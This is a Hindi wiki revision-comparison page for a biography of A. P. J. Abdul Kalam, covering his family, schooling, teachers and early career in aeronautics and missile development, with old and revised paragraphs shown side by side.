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"अब्दुल कलाम" के अवतरणों में अंतर

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{{सूचना बक्सा राजनीतिज्ञ
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{{अब्दुल कलाम विषय सूची}}
|चित्र=Abdul-Kalam.jpg
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{{अब्दुल कलाम संक्षिप्त परिचय}}
|पूरा नाम=अवुल पकिर जैनुल्लाब्दीन अब्दुल कलाम
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'''अवुल पकिर जैनुल्लाब्दीन अब्दुल कलाम''' ([[अंग्रेज़ी]]: ''Avul Pakir Jainulabdeen Abdul Kalam''; जन्म: [[15 अक्तूबर]], [[1931]], [[रामेश्वरम]]; मृत्यु: [[27 जुलाई]], [[2015]] [[शिलांग]]) जिन्हें डॉ. ए. पी. जे. अब्दुल कलाम के नाम से जाना जाता है, [[भारत]] के पूर्व [[राष्ट्रपति]], प्रसिद्ध वैज्ञानिक और अभियंता के रूप में विख्यात थे। उनका राष्ट्रपति कार्यकाल [[25 जुलाई]], [[2002]] से [[25 जुलाई]], [[2007]] तक रहा। उन्हें '''मिसाइल मैन''' के नाम से भी जाना जाता है। वह एक गैर राजनीतिक व्यक्ति थे। [[विज्ञान]] की दुनिया में चमत्कारिक प्रदर्शन के कारण ही [[राष्ट्रपति भवन]] के द्वार उनके लिए स्वत: ही खुल गए। जो व्यक्ति किसी क्षेत्र विशेष में सर्वश्रेष्ठ प्रदर्शन करता है, उसके लिए सब सहज हो जाता है और कुछ भी दुर्लभ नहीं रहता। अब्दुल कलाम इस उद्धरण का प्रतिनिधित्व करते नज़र आते थे। उन्होंने [[विवाह]] नहीं किया था। उनकी जीवन गाथा किसी रोचक [[उपन्यास]] के नायक की [[कहानी]] से कम नहीं है। चमत्कारिक प्रतिभा के धनी अब्दुल कलाम का व्यक्तित्व इतना उन्नत था कि वह सभी [[धर्म]], जाति एवं सम्प्रदायों के व्यक्ति नज़र आते थे। वह एक ऐसे स्वीकार्य भारतीय थे, जो सभी के लिए 'एक महान् आदर्श' बन चुके हैं। विज्ञान की दुनिया से देश का प्रथम नागरिक बनना कपोल कल्पना मात्र नहीं है, क्योंकि यह एक जीवित प्रणेता की सत्य [[कथा]] है।
|अन्य नाम=मिसाइल मैन
 
|जन्म=[[15 अक्तूबर]], [[1931]] {{आयु|आयु=1931}}
 
|जन्म भूमि=[[रामेश्वरम]], [[तमिलनाडु]]
 
|अविभावक=जैनुलाब्दीन
 
|पति/पत्नी=अविवाहित
 
|संतान=
 
|मृत्यु=
 
|मृत्यु स्थान=
 
|मृत्यु कारण=
 
|स्मारक=
 
|क़ब्र=
 
|नागरिकता=भारतीय
 
|प्रसिद्धि=भारतीय मिसाइल कार्यक्रम के जनक
 
|पार्टी=
 
|पद=[[भारत]] के 11वें [[राष्ट्रपति]]
 
|भाषा=[[हिन्दी भाषा|हिन्दी]], [[अंग्रेज़ी भाषा|अंग्रेज़ी]], [[तमिल भाषा|तमिल]]
 
|जेल यात्रा=
 
|कार्य काल=[[25 जुलाई]], [[2002]] से [[25 जुलाई]], [[2007]]
 
|विद्यालय=मद्रास इंस्टीट्यूट ऑफ़ टेकनालॉजी
 
|शिक्षा=स्नातक
 
|पुरस्कार-उपाधि=[[भारत रत्न]] (1997), [[पद्म विभूषण]] (1990), [[पद्म भूषण]] (1981), [[इंदिरा गाँधी राष्ट्रीय एकता पुरस्कार]] एवं देशी-विदेशी कई विश्वविद्यालयों से मानद डॉक्टरेट की उपाधि
 
|विशेष योगदान=
 
|संबंधित लेख=[[अब्दुल कलाम के अनमोल वचन]]
 
|शीर्षक 1=पुस्तकें
 
|पाठ 1=[[अग्नि की उड़ान -अब्दुल कलाम|'विंग्स ऑफ़ फ़ायर']] (जीवनी), '[[भारत 2020 नवनिर्माण की रूपरेखा -अब्दुल कलाम|इण्डिया 2020- ए विज़न फ़ॉर द न्यू मिलेनियम]]', [[भारत की आवाज़ -अब्दुल कलाम|भारत की आवाज़]], [[टर्निंग प्वॉइंट्स -अब्दुल कलाम|टर्निंग प्वॉइंट्स]], [[हम होंगे कामयाब -अब्दुल कलाम|हम होंगे कामयाब]]
 
|शीर्षक 2=
 
|पाठ 2=
 
|अन्य जानकारी=डॉक्टर कलाम ने [[भारत]] के विकास स्तर को 2020 तक विज्ञान के क्षेत्र में अत्याधुनिक करने के लिए एक विशिष्ट सोच प्रदान की। यह [[भारत सरकार]] के 'मुख्य वैज्ञानिक सलाहकार' भी रहे।
 
|बाहरी कड़ियाँ=[http://www.abdulkalam.com/kalam/ आधिकारिक वेबसाइट]
 
|अद्यतन={{अद्यतन|18:29, 13 दिसम्बर 2013 (IST)}}
 
}}
 
'''अवुल पकिर जैनुल्लाब्दीन अब्दुल कलाम''' ([[अंग्रेज़ी]]: ''Avul Pakir Jainulabdeen Abdul Kalam''; जन्म: [[15 अक्तूबर]], [[1931]], [[रामेश्वरम]]) जिन्हें डॉ. ए. पी. जे. अब्दुल कलाम के नाम से जाना जाता है, [[भारत]] के पूर्व राष्ट्रपति, प्रसिद्ध वैज्ञानिक और अभियंता के रूप में विख्यात हैं। इनका राष्ट्रपति कार्यकाल [[25 जुलाई]] [[2002]] से 25 जुलाई [[2007]] तक रहा। इन्हें '''मिसाइल मैन''' के नाम से भी जाना जाता है। यह एक गैर राजनीतिक व्यक्ति रहे है। [[विज्ञान]] की दुनिया में चमत्कारिक प्रदर्शन के कारण ही [[राष्ट्रपति भवन]] के द्वार इनके लिए स्वत: खुल गए। जो व्यक्ति किसी क्षेत्र विशेष में सर्वश्रेष्ठ प्रदर्शन करता है, उसके लिए सब सहज हो जाता है और कुछ भी दुर्लभ नहीं रहता। अब्दुल कलाम इस उद्धरण का प्रतिनिधित्व करते नज़र आते हैं। इन्होंने [[विवाह]] नहीं किया है। इनकी जीवन गाथा किसी रोचक [[उपन्यास]] के नायक की कहानी से कम नहीं है। चमत्कारिक प्रतिभा के धनी अब्दुल कलाम का व्यक्तित्व इतना उन्नत है कि वह सभी धर्म, जाति एवं सम्प्रदायों के व्यक्ति नज़र आते हैं। यह एक ऐसे स्वीकार्य भारतीय हैं, जो सभी के लिए 'एक महान आदर्श' बन चुके हैं। विज्ञान की दुनिया से देश का प्रथम नागरिक बनना कपोल कल्पना मात्र नहीं है क्योंकि यह एक जीवित प्रणेता की सत्यकथा है।
 
 
==जीवन परिचय==
 
==जीवन परिचय==
अब्दूल कलाम का पूरा नाम 'डॉक्टर अवुल पाकिर जैनुल्लाब्दीन अब्दुल कलाम' है। इनका जन्म [[15 अक्टूबर]] [[1931]] को [[रामेश्वरम]] [[तमिलनाडु]] में हुआ। [[द्वीप]] जैसा छोटा सा शहर प्राकृतिक छटा से भरपूर था। शायद इसीलिए अब्दुल कलाम जी का प्रकृति से बहुत जुड़ाव रहा है। [[चित्र: Abdul-Kalam-child.jpg|thumb|left|किशोरावस्था में अब्दुल कलाम]] रामेश्वरम का प्राकृतिक सौन्दर्य [[समुद्र]] की निकटता के कारण सदैव बहुत दर्शनीय रहा है। इनके [[पिता]] 'जैनुलाब्दीन' न तो ज़्यादा पढ़े-लिखे थे, न ही पैसे वाले थे। वे नाविक थे, और नियम के बहुत पक्के थे। इनके पिता मछुआरों को नाव किराये पर दिया करते थे। इनके संबंध रामेश्वरम के [[हिन्दू]] नेताओं तथा अध्यापकों के साथ काफ़ी स्नेहपूर्ण थे। अब्दुल कलाम ने अपनी आरंभिक शिक्षा जारी रखने के लिए अख़बार वितरित करने का कार्य भी किया था।
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{{Main|अब्दुल कलाम का जीवन परिचय}}
====संयुक्त परिवार====
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अब्दुल कलाम का पूरा नाम 'डॉक्टर अवुल पाकिर जैनुल्लाब्दीन अब्दुल कलाम' था। उनका जन्म [[15 अक्टूबर]], [[1931]] को [[रामेश्वरम]] [[तमिलनाडु]] में हुआ था। [[द्वीप]] जैसा छोटा सा शहर प्राकृतिक छटा से भरपूर था। शायद इसीलिए अब्दुल कलाम जी का प्रकृति से बहुत जुड़ाव रहा था। [[चित्र: Abdul-Kalam-child.jpg|thumb|left|किशोरावस्था में अब्दुल कलाम]] रामेश्वरम का प्राकृतिक सौन्दर्य [[समुद्र]] की निकटता के कारण सदैव बहुत दर्शनीय रहा है। उनके [[पिता]] 'जैनुलाब्दीन' न तो ज़्यादा पढ़े-लिखे थे, न ही पैसे वाले थे। वे नाविक थे, और नियम के बहुत पक्के थे। उनके पिता मछुआरों को नाव किराये पर दिया करते थे। उनके संबंध रामेश्वरम के [[हिन्दू]] नेताओं तथा अध्यापकों के साथ काफ़ी स्नेहपूर्ण थे। अब्दुल कलाम ने अपनी आरंभिक शिक्षा जारी रखने के लिए [[अख़बार]] वितरित करने का कार्य भी किया था।  
अब्दुल कलाम संयुक्त [[परिवार]] में रहते थे। परिवार की सदस्य संख्या का अनुमान इस बात से लगाया जा सकता है कि यह स्वयं पाँच [[भाई]] एवं पाँच [[बहन]] थे और घर में तीन परिवार रहा करते थे। इनका कहना था कि वह घर में तीन झूले (जिसमें बच्चों को रखा और सुलाया जाता है) देखने के अभ्यस्त थे। इनकी [[दादी माँ]] एवं [[माँ]] द्वारा ही पूरे परिवार की परवरिश की जाती थी। घर के वातावरण में प्रसन्नता और वेदना दोनों का वास था।
 
इनके घर में कितने लोग थे और इनकी मां बहुत लोगों का खाना बनाती थीं क्योंकि घर में तीन भरे-पूरे परिवारों के साथ-साथ बाहर के लोग भी हमारे साथ खाना खाते थे। इनके घर में खुशियाँ भी थीं, तो मुश्किलें भी थी। अब्दुल कलाम के जीवन पर इनके [[पिता]] का बहुत प्रभाव रहा। वे भले ही पढ़े-लिखे नहीं थे, लेकिन उनकी लगन और उनके दिए संस्कार अब्दुल कलाम के बहुत काम आए। अब्दुल कलाम के पिता चारों वक़्त की [[नमाज़]] पढ़ते थे और जीवन में एक सच्चे इंसान थे। 
 
====जीवन की एक घटना====
 
अब्दुल कलाम के जीवन की एक घटना है, कि यह भाई-बहनों के साथ खाना खा रहे थे। इनके यहाँ [[चावल]] खूब होता था, इसलिए खाने में वही दिया जाता था, रोटियाँ कम मिलती थीं। जब इनकी मां ने इनको रोटियाँ ज़्यादा दे दीं, तो इनके भाई ने एक बड़े सच का खुलासा किया। इनके भाई ने अलग ले जाकर इनसे कहा कि मां के लिए एक-भी रोटी नहीं बची और तुम्हें उन्होंने ज़्यादा रोटियाँ दे दीं। वह बहुत कठिन समय था और उनके भाई चाहते थे कि अब्दुल कलाम ज़िम्मेदारी का व्यवहार करें। तब यह अपने जज़्बातों पर काबू नहीं पा सके और दौड़कर माँ के गले से जा लगे। उन दिनों कलाम कक्षा पाँच के विद्यार्थी थे। इन्हें [[परिवार]] में सबसे अधिक स्नेह प्राप्त हुआ क्योंकि यह [[परिवार]] में सबसे छोटे थे। तब घरों में [[विद्युत]] नहीं थी और केरोसिन तेल के [[दीपक]] जला करते थे, जिनका समय रात्रि 7 से 9 तक नियत था। लेकिन यह अपनी माता के अतिरिक्त स्नेह के कारण पढ़ाई करने हेतु रात के 11 बजे तक दीपक का उपयोग करते थे। अब्दुल कलाम के जीवन में इनकी माता का बहुत महत्त्वपूर्ण स्थान रहा है। इनकी [[माता]] ने 92 वर्ष की उम्र पाई। वह प्रेम, दया और स्नेह की प्रतिमूर्ति थीं। उनका स्वभाव बेहद शालीन था। इनकी माता पाँचों समय की [[नमाज़]] अदा करती थीं। जब इन्हें नमाज़ करते हुए अब्दुल कलाम देखते थे तो इन्हें रूहानी सुकून और प्रेरणा प्राप्त होती थी।
 
[[चित्र:Abdul-Kalam-2.jpg|thumb|250px|अब्दुल कलाम|left]]
 
जिस घर अब्दुल कलाम का जन्म हुआ, वह आज भी [[रामेश्वरम]] में मस्जिद मार्ग पर स्थित है। इसके साथ ही इनके भाई की कलाकृतियों की दुकान भी संलग्न है। यहाँ पर्यटक इसी कारण खिंचे चले आते हैं, क्योंकि अब्दुल कलाम का आवास स्थित है। [[1964]] में 33 [[वर्ष]] की उम्र में डॉक्टर अब्दुल कलाम ने [[जल]] की भयानक विनाशलीला देखी और जल की शक्ति का वास्तविक अनुमान लगाया। चक्रवाती [[तूफ़ान]] में पायबन पुल और यात्रियों से भरी एक रेलगाड़ी के साथ-साथ अब्दुल कलाम का पुश्तैनी गाँव धनुषकोड़ी भी बह गया था। जब यह मात्र 19 वर्ष के थे, तब द्वितीय विश्व युद्ध की विभीषिका को भी महसूस किया। युद्ध का दवानल रामेश्वरम के द्वार तक पहुँचा था। इन परिस्थितियों में भोजन सहित सभी आवश्यक वस्तुओं का अभाव हो गया था।
 
 
==विद्यार्थी जीवन==
 
==विद्यार्थी जीवन==
अब्दुल कलाम जब आठ- नौ साल के थे, तब से सुबह चार बजे उठते थे और [[स्नान]] करने के बाद गणित के अध्यापक स्वामीयर के पास गणित पढ़ने चले जाते थे। स्वामीयर की यह विशेषता थी कि जो विद्यार्थी स्नान करके नहीं आता था, वह उसे नहीं पढ़ाते थे। स्वामीयर एक अनोखे अध्यापक थे और पाँच विद्यार्थियों को प्रतिवर्ष नि:शुल्क ट्यूशन पढ़ाते थे। इनकी माता इन्हें उठाकर स्नान कराती थीं और नाश्ता करवाकर ट्यूशन पढ़ने भेज देती थीं। अब्दुल कलाम ट्यू्शन पढ़कर साढ़े पाँच बजे वापस आते थे। उसके बाद अपने पिता के साथ नमाज़ पढ़ते थे। फिर [[क़ुरान शरीफ़]] का अध्ययन करने के लिए वह अरेशिक स्कूल (मदरसा) चले जाते थे। इसके पश्चात्त अब्दुल कलाम रामेश्वरम के रेलवे स्टेशन और बस अड्डे पर जाकर [[समाचार पत्र]] एकत्र करते थे। इस प्रकार इन्हें तीन किलोमीटर जाना पड़ता था। उन दिनों धनुषकोड़ी से मेल ट्रेन गुजरती थी, लेकिन वहाँ उसका ठहराव नहीं होता था। चलती ट्रेन से ही अख़बार के बण्डल रेलवे स्टेशन पर फेंक दिए जाते थे। अब्दुल कलाम अख़बार लेने के बाद रामेश्वरम शहर की सड़कों पर दौड़-दौड़कर सबसे पहले उसका वितरण करते थे। अब्दुल कलाम अपने भाइयों में छोटे थे, दूसरे घर के लिए थोड़ी कमाई भी कर लेता थे, इसलिए इनकी मां का प्यार इन पर कुछ ज़्यादा ही था। अब्दुल कलाम अख़बार वितरण का कार्य करके प्रतिदिन प्रात: 8 बजे घर लौट आते थे। इनकी माता अन्य बच्चों की तुलना में इन्हें अच्छा नाश्ता देती थीं, क्योंकि यह पढ़ाई और धनार्जन दोनों कार्य कर रहे थे। शाम को स्कूल से लौटने के बाद यह पुन: रामेश्वरम जाते थे ताकि ग्राहकों से बकाया पैसा प्राप्त कर सकें। इस प्रकार वह एक किशोर के रूप में भाग-दौड़ करते हुए पढ़ाई और धनार्जन कर रहे थे।
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{{Main|अब्दुल कलाम का विद्यार्थी जीवन}}
 
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अब्दुल कलाम जब आठ-नौ साल के थे, तब से सुबह चार बजे उठते थे और [[स्नान]] करने के बाद गणित के अध्यापक स्वामीयर के पास गणित पढ़ने चले जाते थे। स्वामीयर की यह विशेषता थी कि जो विद्यार्थी स्नान करके नहीं आता था, वह उसे नहीं पढ़ाते थे। स्वामीयर एक अनोखे अध्यापक थे और पाँच विद्यार्थियों को प्रतिवर्ष नि:शुल्क ट्यूशन पढ़ाते थे। इनकी माता इन्हें उठाकर स्नान कराती थीं और नाश्ता करवाकर ट्यूशन पढ़ने भेज देती थीं। अब्दुल कलाम ट्यू्शन पढ़कर साढ़े पाँच बजे वापस आते थे। उसके बाद अपने पिता के साथ नमाज़ पढ़ते थे। फिर [[क़ुरान शरीफ़]] का अध्ययन करने के लिए वह अरेशिक स्कूल (मदरसा) चले जाते थे। इसके पश्चात्त अब्दुल कलाम रामेश्वरम के रेलवे स्टेशन और बस अड्डे पर जाकर [[समाचार पत्र]] एकत्र करते थे।  
==अब्दुल कलाम के शब्दों में==
 
[[चित्र:Abdul-kalam-3.jpg|thumb|250px|[[रामेश्वरम|रामेश्वरम्]] के मस्जिद वाली गली में स्थित डॉ. कलाम का पुश्तैनी घर]]
 
अध्यापकों के संबंध में अब्दुल कलाम काफ़ी खुशक़िस्मत थे। इन्हें शिक्षण काल में सदैव दो-एक अध्यापक ऐसे प्राप्त हुए, जो योग्य थे और उनकी कृपा भी इन पर रही। यह समय [[1936]] से [[1957]] के मध्य का था। ऐसे में इन्हें अनुभव हुआ कि वह अपने अध्यापकों द्वारा आगे बढ़ रहे हैं। अध्यापक की प्रतिष्ठा और सार्थकता अब्दुल कलाम के शब्दों में प्रस्तुत है:-
 
;प्राथमिक स्कूल
 
यह [[1936]] का वर्ष था। मुझे याद है कि पाँच वर्ष कि अवस्था में रामेश्वरम के पंचायत प्राथमिक स्कूल में मेरा दीक्षा-संस्कार हुआ था। तब मेरे एक शिक्षक 'मुत्थु अय्यर' मेरी ओर विशेष ध्यान देते थे क्योंकि मैं कक्षा में अपने कार्य में बहुत अच्छा था। वह मुझसे बहुत प्रभावित थे। एक दिन वह मेरे घर आए और मेरे पिता से कहा कि मैं पढ़ाई में बहुत अच्छा हूँ। यह सुनकर मेरे घर के सभी लोग बहुत खुश हुए और मेरी पसंद की मिठाई मुझे खिलाई। एक विशिष्ट घटना जिसे मैं कभी नहीं भूल सकता, वह थी- कक्षा में 'प्रथम स्थान' प्राप्त करने की। एक बार मैं स्कूल नहीं जा सका तो मुत्थु जी मेरे घर आए और उन्होंने पिताजी से पूछा कि कोई समस्या तो नहीं है और मैं आज स्कूल क्यों नहीं आया? साथ ही उन्होंने यह भी पूछा कि क्या वह कोई सहायता कर सकते हैं? उस दिन मुझे ज्वर हो गया था। तब मुत्थु जी ने मेरी हस्तलिपि के बारे में इंगित किया जो काफ़ी ख़राब थी। उन्होंने मुझे तीन पृष्ठ प्रतिदिन अभ्यास करने का निर्देश दिया। उन्होंने मेरे पिताजी से कहा कि मैं प्रतिदिन यह अभ्यास करूँ। मैंने यह अभ्यास नियमित रूप से किया। मुत्थु जी के कार्यों को देखते हुए बाद में मेरे पिताजी ने कहा था कि वह एक अच्छे व्यक्ति ही नहीं बल्कि हमारे परिवार के भी अच्छे मित्र हैं।[[चित्र:Abdul-kalam-4.jpg|thumb|left|रामनाथपुरम् का श्वार्ट्ज हाई स्कूल]]
 
;प्रेरणा
 
अब्दुल कलाम 'एयरोस्पेस टेक्नोलॉजी' में आए, तो इसके पीछे इनके पाँचवीं कक्षा के अध्यापक 'सुब्रहमण्यम अय्यर' की प्रेरणा ज़रुर थी। वह हमारे स्कूल के अच्छे शिक्षकों में से एक थे। एक बार उन्होंने कक्षा में बताया कि पक्षी कैसे उड़ता है? मैं यह नहीं समझ पाया था, इस कारण मैंने इंकार कर दिया था। तब उन्होंने कक्षा के अन्य बच्चों से पूछा तो उन्होंने भी अधिकांशत: इंकार ही किया। लेकिन इस उत्तर से अय्यर जी विचलित नहीं हुए। अगले दिन अय्यर जी इस संदर्भ में हमें [[समुद्र]] के किनारे ले गए। उस प्राकृतिक दृश्य में कई प्रकार के पक्षी थे, जो [[सागर]] के किनारे उतर रहे थे और उड़ रहे थे।  तत्पश्चात्त उन्होंने समुद्री पक्षियों को दिखाया, जो 10-20 के झुण्ड में उड़ रहे थे। उन्होंने समुद्र के किनारे मौजूद पक्षियों के उड़ने के संबंध में प्रत्येक क्रिया को साक्षात अनुभव के आधार पर समझाया। हमने भी बड़ी बारीकी से पक्षियों के शरीर की बनावट के साथ उनके उड़ने का ढंग भी देखा। इस प्रकार हमने व्यावहारिक प्रयोग के माध्यम से यह सीखा कि पक्षी किस प्रकार उड़ पाने में सफल होता है। इसी कारण हमारे यह अध्यापक महान थे। वह चाहते तो हमें मौखिक रूप से समझाकर ही अपने कर्तव्य की इतिश्री कर सकते थे लेकिन उन्होंने हमें व्यावहारिक उदाहरण के माध्यम से समझाया और कक्षा के हम सभी बच्चे समझ भी गए। मेरे लिए यह मात्र पक्षी की उड़ान तक की ही बात नहीं थी। पक्षी की वह उड़ान मुझमें समा गई थी। मुझे महसूस होता था कि मैं रामेश्वरम के समुद्र तट पर हूँ। उस दिन के बाद मैंने सोच लिया था कि मेरी शिक्षा किसी न किसी प्रकार के उड़ान से संबंधित होगी। उस समय तक मैं नहीं समझा था कि मैं 'उड़ान विज्ञान' की दिशा में अग्रसर होने वाला हूँ। वैसे उस घटना ने मुझे प्रेरणा दी थी कि मैं अपनी ज़िंदगी का कोई लक्ष्य निर्धारित करूँ। उसी समय मैंने तय कर लिया था कि उड़ान में करियर बनाऊँगा।
 
[[चित्र:Abdul-Kalam-geoge-bush-manmohan-singh.jpg|thumb|300px|[[अमेरिका]] के पूर्व राष्ट्रपति जॉर्ज बुश, भारतीय प्रधानमंत्री [[मनमोहन सिंह]] के साथ अब्दुल कलाम]]
 
;उच्च शिक्षा
 
एक दिन मैंने अपने अध्यापक 'श्री सिवा सुब्रहमण्यम अय्यर' से पूछा कि श्रीमान! मुझे यह बताएं कि मेरी आगे की उन्नति उड़ान से संबंधित रहते हुए कैसे हो सकती है? तब उन्होंने धैर्यपूर्वक जवाब दिया कि मैं पहले आठवीं कक्षा उत्तीर्ण करूँ, फिर हाई स्कूल। तत्पश्चात कॉलेज में मुझे उड़ान से संबंधित शिक्षा का अवसर प्राप्त हो सकता है। यदि मैं ऐसा करता हूँ तो उड़ान विज्ञान के साथ जुड़ सकता हूँ। इन सब बातों ने मुझे जीवन के लिए एक मंज़िल और उद्देश्य भी प्रदान किया। जब मैं कॉलेज गया तो मैंने [[भौतिक विज्ञान]] विषय लिया। जब मैं अभियांत्रिकी की शिक्षा के लिए 'मद्रास इंस्टीट्यूट ऑफ़ टेक्नोलॉजी' में गया तो मैंने '''एयरोनॉटिकल इंजीनियरिंग''' का चुनाव किया। इस प्रकार मेरी ज़िन्दगी एक 'रॉकेट इंजीनियर', 'एयरोस्पेस इंजीनियर' और 'तकनीकी कर्मी' की ओर उन्मुख हुई। वह एक घटना जिसके बारे में मेरे अध्यापक ने मुझे प्रत्यक्ष उदाहरण से समझाया था, मेरे जीवन का महत्त्वपूर्ण बिन्दु बन गई और अंतत: मैंने अपने व्यवसाय का चुनाव भी कर लिया।
 
;अद्वितीय व्याख्यान
 
अब मैं अपने गणित के अध्यापक 'प्रोफेसर दोदात्री आयंगर' के विषय में चर्चा करना चाहूँगा। [[विज्ञान]] के छात्र के रूप में मुझे 'सेंट जोसेफ कॉलेज' में [[देवता]] के समान एक व्यक्ति को प्रति सुबह देखने का अवसर प्राप्त होता था, जो विद्यार्थियों को गणित पढ़ाया करते थे। बाद में मुझे उनसे गणित पढ़ने का अवसर प्राप्त हुआ। उन्होंने मेरी प्रतिभा को बहुत हद तक निखारा। मैंने उनकी कक्षा में आधुनिक बीजगणित, सांख्यिकी और कॉंम्पलेक्स वेरिएबल्स का अध्ययन किया। [[1952]] में इन्होंने एक अद्वितीय व्याख्यान दिया, जो [[भारत]] के प्राचीन गणितज्ञों एवं खगोलविज्ञों के संबंध में था। इस व्याख्यान में इन्होंने [[भारत]] के चार गणितज्ञों एवं खगोलविज्ञों के बारे में बताया था, जो इस प्रकार थे- [[आर्यभट्ट]], [[श्रीनिवास अयंगर रामानुजन|श्रीनिवास रामानुजन]], [[ब्रह्मगुप्त]] और [[भास्कराचार्य]]।
 
[[चित्र:Abdul-Kalam-3.jpg|thumb|left|अब्दुल कलाम]]
 
इसके अलावा एम.आई.टी.'प्रोफेसर श्रीनिवास' (जो डायरेक्टर भी थे) का भी काफ़ी योगदान रहा अब्दुल कलाम की प्रतिभा निखारने में। इनके विषय में अब्दुल कलाम ने कहा था:- '''शिक्षक को एक प्रशिक्षक भी होना चाहिए- प्रोफेसर श्रीनिवासन की भाँति।'
 
 
 
 
==कार्यक्षेत्र==
 
==कार्यक्षेत्र==
[[1962]] में वे '[[भारतीय अंतरिक्ष अनुसंधान संगठन]]' में आये। डॉक्टर अब्दुल कलाम को प्रोजेक्ट डायरेक्टर के रूप में [[भारत]] का पहला स्वदेशी उपग्रह ([[एसएलवी-3|एस.एल.वी. तृतीय]]) [[प्रक्षेपास्त्र]] बनाने का श्रेय हासिल है। [[जुलाई]] [[1980]] में इन्होंने [[रोहिणी उपग्रह]] को [[पृथ्वी]] की कक्षा के निकट स्थापित किया था। इस प्रकार भारत भी 'अंतर्राष्ट्रीय अंतरिक्ष क्लब' का सदस्य बन गया। 'इसरो लॉन्च व्हीकल प्रोग्राम' को परवान चढ़ाने का श्रेय भी इन्हें प्रदान किया जाता है। डॉक्टर कलाम ने स्वदेशी लक्ष्य भेदी (गाइडेड मिसाइल्स) को डिज़ाइन किया। इन्होंने [[अग्नि-2 मिसाइल|अग्नि]] एवं [[पृथ्वी-2 मिसाइल|पृथ्वी]] जैसी मिसाइल्स को स्वदेशी तकनीक से बनाया था। डॉक्टर कलाम जुलाई [[1992]] से [[दिसम्बर]] [[1999]] तक रक्षा मंत्री के 'विज्ञान सलाहकार' तथा 'सुरक्षा शोध और विकास विभाग' के सचिव थे। उन्होंने स्ट्रेटेजिक मिसाइल्स सिस्टम का उपयोग [[आग्नेय अस्त्र|आग्नेयास्त्रों]] के रूप में किया। इसी प्रकार पोखरण में दूसरी बार न्यूक्लियर विस्फोट भी परमाणु ऊर्जा के साथ मिलाकर किया। इस तरह भारत ने परमाणु हथियार के निर्माण की क्षमता प्राप्त करने में सफलता अर्जित की। डॉक्टर कलाम ने '''भारत के विकास स्तर को 2020 तक विज्ञान के क्षेत्र में अत्याधुनिक''' करने के लिए एक विशिष्ट सोच प्रदान की। यह [[भारत सरकार]] के 'मुख्य वैज्ञानिक सलाहकार' भी रहे।
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{{Main|अब्दुल कलाम का कार्यक्षेत्र}}
==व्यावसायिक परिचय==
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[[1962]] में वे '[[भारतीय अंतरिक्ष अनुसंधान संगठन]]' में आये। डॉक्टर अब्दुल कलाम को प्रोजेक्ट डायरेक्टर के रूप में [[भारत]] का पहला स्वदेशी उपग्रह ([[एसएलवी-3|एस.एल.वी. तृतीय]]) [[प्रक्षेपास्त्र]] बनाने का श्रेय हासिल है। [[जुलाई]] [[1980]] में इन्होंने [[रोहिणी उपग्रह]] को [[पृथ्वी]] की कक्षा के निकट स्थापित किया था। इस प्रकार भारत भी 'अंतर्राष्ट्रीय अंतरिक्ष क्लब' का सदस्य बन गया। 'इसरो लॉन्च व्हीकल प्रोग्राम' को परवान चढ़ाने का श्रेय भी इन्हें प्रदान किया जाता है। डॉक्टर कलाम ने स्वदेशी लक्ष्य भेदी (गाइडेड मिसाइल्स) को डिज़ाइन किया। इन्होंने [[अग्नि-2 मिसाइल|अग्नि]] एवं [[पृथ्वी-2 मिसाइल|पृथ्वी]] जैसी मिसाइल्स को स्वदेशी तकनीक से बनाया था। डॉक्टर कलाम जुलाई [[1992]] से [[दिसम्बर]] [[1999]] तक रक्षा मंत्री के 'विज्ञान सलाहकार' तथा 'सुरक्षा शोध और विकास विभाग' के सचिव थे। उन्होंने स्ट्रेटेजिक मिसाइल्स सिस्टम का उपयोग [[आग्नेय अस्त्र|आग्नेयास्त्रों]] के रूप में किया।
[[चित्र:Abdul-Kalam-with-nelson-mandela.jpg|thumb|250px|[[दक्षिण अफ़्रीका]] के पूर्व राष्ट्रपति [[नेल्सन मंडेला]] के साथ अब्दुल कलाम]]
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====व्यावसायिक परिचय====
डॉ. अब्दुल कलाम जब एच.ए.एल. से एक वैमानिकी इंजीनियर बनकर निकले तो इनके पास नौकरी के दो बड़े अवसर थे। ये दोनों ही उनके बरसों पुराने उड़ान के सपने को पूरा करने वाले थे। एक अवसर [[भारतीय वायुसेना]] का था और दूसरा [[रक्षा मंत्रालय]] के अधीन तकनीकी विकास एवं उत्पादन निदेशालय, का था। उन्होंने दोनों जगहों पर साक्षात्कार दिया। वे रक्षा मंत्रालय के तकनीकी विकास एवं उत्पादन निदेशालय में चुन लिए गए। सन् [[1958]] में इन्होंने 250 रूपए के मूल वेतन पर निदेशालय के तकनीकी केंद्र (उड्डयन) में वरिष्ठ वैज्ञानिक सहायक के पद पर काम संभाल लिया। निदेशालय में नौकरी के पहले साल के दौरान इन्होंने आफिसर-इंचार्ज आर. वरदराजन की मदद से एक अल्ट्रासोनिक लक्ष्यभेदी विमान का डिजाइन तैयार करने में सफलता हासिल कर ली। विमानों के रख-रखाव का अनुभव हासिल करने के लिए इन्हें एयरक्रॉफ्ट एण्ड आर्मामेंट टेस्टिंग यूनिट, [[कानपुर]] भेजा गया। उस समय वहाँ एम.के.-1 विमान के परीक्षण का काम चल रहा था। इसकी कार्यप्रणालियों के मूल्यांकन को पूरा करने के काम में इन्होंने भी हिस्सा लिया। वापस आने पर इन्हें [[बंगलौर]] में स्थापित वैमानिकी विकास प्रतिष्ठान में भेज दिया गया। यहाँ ग्राउंड इक्विपमेंट मशीन के रूप में स्वदेशी होवरक्रॉफ्ट का डिजाइन तथा विकास करने के लिए एक टीम बनाई गई। वैज्ञानिक सहायक के स्तर पर इसमें चार लोग शामिल थे, जिसका नेतृत्व करने का कार्यभार निदेशक डॉ. ओ. पी. मेदीरत्ता ने डॉ. कलाम पर सौंपा। उड़ान में इंजीनियरिंग मॉडल शुरू करने के लिए इन्हें तीन साल का वक्त दिया गया। भगवान् [[शिव]] के वाहन के प्रतीक रूप में इस होवरक्राफ्ट को 'नंदी' नाम दिया गया।
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[[चित्र:Abdul-Kalam-with-nelson-mandela.jpg|thumb|left|[[दक्षिण अफ़्रीका]] के पूर्व राष्ट्रपति [[नेल्सन मंडेला]] के साथ अब्दुल कलाम]]
====रॉकेट इंजीनियर के पद पर====
